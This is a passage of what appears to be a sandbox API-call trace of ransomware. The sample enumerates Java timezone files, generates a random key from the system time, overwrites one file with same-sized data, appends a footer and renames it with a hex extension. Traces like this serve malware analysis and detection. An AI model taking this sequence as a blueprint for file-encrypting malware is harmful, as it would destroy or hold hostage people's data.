wcscat (in: _Dest=0x426ef780, _Source="Detroit" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Detroit") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Detroit" [0158.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf0 [0158.409] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dominica", cAlternateFileName="")) returned 1 [0160.736] wcscmp (_String1="Dominica", _String2=".") returned 1 [0160.736] wcscmp (_String1="Dominica", _String2="..") returned 1 [0160.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cebe580 [0160.736] wcscpy (in: _Dest=0x1cebe580, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0160.736] wcscat (in: _Dest=0x1cebe580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0160.736] wcscat (in: _Dest=0x1cebe580, _Source="Dominica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dominica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dominica" [0160.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebe580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb24 [0160.907] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edmonton", cAlternateFileName="")) returned 1 [0160.907] wcscmp (_String1="Edmonton", _String2=".") returned 1 [0160.908] wcscmp (_String1="Edmonton", _String2="..") returned 1 [0160.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85e810 [0160.908] wcscpy (in: _Dest=0x1b85e810, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0160.908] wcscat (in: _Dest=0x1b85e810, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0160.908] wcscat (in: _Dest=0x1b85e810, _Source="Edmonton" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Edmonton") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Edmonton" [0160.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2930 [0160.992] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eirunepe", cAlternateFileName="")) returned 1 [0160.992] wcscmp (_String1="Eirunepe", _String2=".") returned 1 [0160.992] wcscmp (_String1="Eirunepe", _String2="..") returned 1 [0160.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x20503c10 [0160.992] wcscpy (in: _Dest=0x20503c10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0160.992] wcscat (in: _Dest=0x20503c10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0160.993] wcscat (in: _Dest=0x20503c10, _Source="Eirunepe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Eirunepe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Eirunepe" [0160.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20503c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2934 [0161.012] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="El_Salvador", cAlternateFileName="EL_SAL~1")) returned 1 [0161.013] wcscmp (_String1="El_Salvador", _String2=".") returned 1 [0161.013] wcscmp (_String1="El_Salvador", _String2="..") returned 1 [0161.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x20503710 [0161.013] wcscpy (in: _Dest=0x20503710, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0161.013] wcscat (in: _Dest=0x20503710, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0161.013] wcscat (in: _Dest=0x20503710, _Source="El_Salvador" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\El_Salvador") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\El_Salvador" [0161.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20503710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2938 [0161.016] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x179, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fortaleza", cAlternateFileName="FORTAL~1")) returned 1 [0161.016] wcscmp (_String1="Fortaleza", _String2=".") returned 1 [0161.016] wcscmp (_String1="Fortaleza", _String2="..") returned 1 [0161.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20503c90 [0161.016] wcscpy (in: _Dest=0x20503c90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0161.016] wcscat (in: _Dest=0x20503c90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0161.016] wcscat (in: _Dest=0x20503c90, _Source="Fortaleza" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Fortaleza") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Fortaleza" [0161.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20503c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x293c [0161.017] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glace_Bay", cAlternateFileName="GLACE_~1")) returned 1 [0161.017] wcscmp (_String1="Glace_Bay", _String2=".") returned 1 [0161.017] wcscmp (_String1="Glace_Bay", _String2="..") returned 1 [0161.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20503d90 [0161.017] wcscpy (in: _Dest=0x20503d90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0161.017] wcscat (in: _Dest=0x20503d90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0161.017] wcscat (in: _Dest=0x20503d90, _Source="Glace_Bay" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Glace_Bay") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Glace_Bay" [0161.017] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Glace_Bay" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\glace_bay")) returned 0x20 [0161.019] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Glace_Bay", dwFileAttributes=0x20) returned 1 [0161.020] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Glace_Bay" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\glace_bay"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2940 [0161.021] GetFileSizeEx (in: hFile=0x2940, lpFileSize=0x2a10f9a0 | out: lpFileSize=0x2a10f9a0*=1204) returned 1 [0161.021] SetFilePointerEx (in: hFile=0x2940, liDistanceToMove=0x4b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.021] ReadFile (in: hFile=0x2940, lpBuffer=0x2a10f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a10f968, lpOverlapped=0x0 | out: lpBuffer=0x2a10f920*, lpNumberOfBytesRead=0x2a10f968*=0x4, lpOverlapped=0x0) returned 1 [0165.669] SetFilePointerEx (in: hFile=0x2940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0165.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a9b0 [0165.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9a0 [0165.669] NtQuerySystemTime (in: CurrentTime=0x2a10f860 | out: CurrentTime=0x2a10f860*=132462177707806000) returned 0x0 [0165.669] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x307eaa [0165.669] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x276e3a1a [0165.669] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0xdbbaaa1 [0165.669] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x6518f5af [0165.669] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x20d42136 [0165.669] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x78e51767 [0165.669] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x3ee79932 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x67818d47 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x714bb4f9 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x1c478c35 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x29aac8ac [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x2eb50785 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x4c726ea0 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0xd5f0ba3 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x59611edd [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x5cd79c9a [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x5ac75dd0 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x4970cbf7 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x1d1de7e3 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x7df9999d [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x5e78542b [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x491f50c5 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x44c1162f [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0xe237cf [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x4601826 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x6f451d51 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x478f93dd [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x78d6fce2 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x1a775731 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x66f3f3b9 [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x438f795b [0165.670] RtlRandomEx (in: Seed=0x2a10f850 | out: Seed=0x2a10f850) returned 0x7345b972 [0165.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba90 [0165.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0165.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd00 [0165.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0165.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b9a0) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aaa0) returned 1 [0165.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059510 [0165.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0165.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0165.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aaa0) returned 1 [0165.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425db5c0 [0165.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425cc580 [0165.684] ReadFile (in: hFile=0x2940, lpBuffer=0x425db5c0, nNumberOfBytesToRead=0x4b4, lpNumberOfBytesRead=0x2a10f850, lpOverlapped=0x0 | out: lpBuffer=0x425db5c0*, lpNumberOfBytesRead=0x2a10f850*=0x4b4, lpOverlapped=0x0) returned 1 [0165.684] SetFilePointerEx (in: hFile=0x2940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.684] WriteFile (in: hFile=0x2940, lpBuffer=0x425cc580*, nNumberOfBytesToWrite=0x4b4, lpNumberOfBytesWritten=0x2a10f854, lpOverlapped=0x0 | out: lpBuffer=0x425cc580*, lpNumberOfBytesWritten=0x2a10f854*=0x4b4, lpOverlapped=0x0) returned 1 [0165.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19d70 [0165.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19da0 [0165.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19da0) returned 1 [0165.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425cc580) returned 1 [0165.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425db5c0) returned 1 [0165.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0165.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059510) returned 1 [0165.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19da0 [0165.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059510 [0165.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0165.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e00 [0165.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e00) returned 1 [0165.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e00 [0165.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19dd0 [0165.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19ce0 [0165.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19ce0) returned 1 [0165.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0165.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059510) returned 1 [0165.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x1693c0 [0165.868] SetFilePointerEx (in: hFile=0x2940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.868] WriteFile (in: hFile=0x2940, lpBuffer=0x1693c0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2a10f970, lpOverlapped=0x0 | out: lpBuffer=0x1693c0*, lpNumberOfBytesWritten=0x2a10f970*=0x104, lpOverlapped=0x0) returned 1 [0206.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0206.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaf60 [0206.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0206.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266870) returned 1 [0206.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x42c0eae0 [0206.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0206.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0206.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0206.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaf60) returned 1 [0206.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0206.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20266ba0 [0206.756] sprintf (in: _Dest=0x20266ba0, _Format="%c%c" | out: _Dest="2f") returned 2 [0206.756] sprintf (in: _Dest=0x20266ba2, _Format="%c%c" | out: _Dest="86") returned 2 [0206.756] sprintf (in: _Dest=0x20266ba4, _Format="%c%c" | out: _Dest="d4") returned 2 [0206.756] sprintf (in: _Dest=0x20266ba6, _Format="%c%c" | out: _Dest="69") returned 2 [0206.757] sprintf (in: _Dest=0x20266ba8, _Format="%c%c" | out: _Dest="49") returned 2 [0206.757] sprintf (in: _Dest=0x20266baa, _Format="%c%c" | out: _Dest="5b") returned 2 [0206.757] sprintf (in: _Dest=0x20266bac, _Format="%c%c" | out: _Dest="58") returned 2 [0206.757] sprintf (in: _Dest=0x20266bae, _Format="%c%c" | out: _Dest="b9") returned 2 [0206.757] sprintf (in: _Dest=0x20266bb0, _Format="%c%c" | out: _Dest="09") returned 2 [0206.757] sprintf (in: _Dest=0x20266bb2, _Format="%c%c" | out: _Dest="70") returned 2 [0206.757] sprintf (in: _Dest=0x20266bb4, _Format="%c%c" | out: _Dest="11") returned 2 [0206.757] sprintf (in: _Dest=0x20266bb6, _Format="%c%c" | out: _Dest="59") returned 2 [0206.757] sprintf (in: _Dest=0x20266bb8, _Format="%c%c" | out: _Dest="fa") returned 2 [0206.757] sprintf (in: _Dest=0x20266bba, _Format="%c%c" | out: _Dest="c9") returned 2 [0206.757] sprintf (in: _Dest=0x20266bbc, _Format="%c%c" | out: _Dest="57") returned 2 [0206.757] sprintf (in: _Dest=0x20266bbe, _Format="%c%c" | out: _Dest="ac") returned 2 [0206.757] sprintf (in: _Dest=0x20266bc0, _Format="%c%c" | out: _Dest="9b") returned 2 [0206.757] sprintf (in: _Dest=0x20266bc2, _Format="%c%c" | out: _Dest="f1") returned 2 [0206.757] RtlInitAnsiString (in: DestinationString=0x2a10f9e8, SourceString="2f86d469495b58b909701159fac957ac9bf1" | out: DestinationString="2f86d469495b58b909701159fac957ac9bf1") [0206.757] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a10f9b8, SourceString="2f86d469495b58b909701159fac957ac9bf1", AllocateDestinationString=1 | out: DestinationString="2f86d469495b58b909701159fac957ac9bf1") returned 0x0 [0206.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x431f9de0 [0206.758] wcscat (in: _Dest=0x43155800, _Source="2f86d4694" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\2f86d4694") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\2f86d4694" [0206.758] wcscat (in: _Dest=0x43155800, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\2f86d4694.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\2f86d4694.2f9b60" [0206.758] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\2f86d4694.2f9b60", NtPathName=0x2a10f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\2f86d4694.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x4314ea90 Thread: id = 2441 os_tid = 0x1e98 [0153.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b869440 [0153.492] wcscpy (in: _Dest=0x1b869440, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0153.492] wcscat (in: _Dest=0x1b869440, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0153.492] wcscat (in: _Dest=0x1b869440, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*" [0153.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd611c0 [0153.493] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*", lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86670 [0153.752] wcscmp (_String1=".", _String2=".") returned 0 [0153.752] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.752] wcscmp (_String1="..", _String2=".") returned 1 [0153.752] wcscmp (_String1="..", _String2="..") returned 0 [0153.752] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casey", cAlternateFileName="")) returned 1 [0153.752] wcscmp (_String1="Casey", _String2=".") returned 1 [0153.752] wcscmp (_String1="Casey", _String2="..") returned 1 [0153.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42061430 [0153.752] wcscpy (in: _Dest=0x42061430, _Source="C:\\Program Files 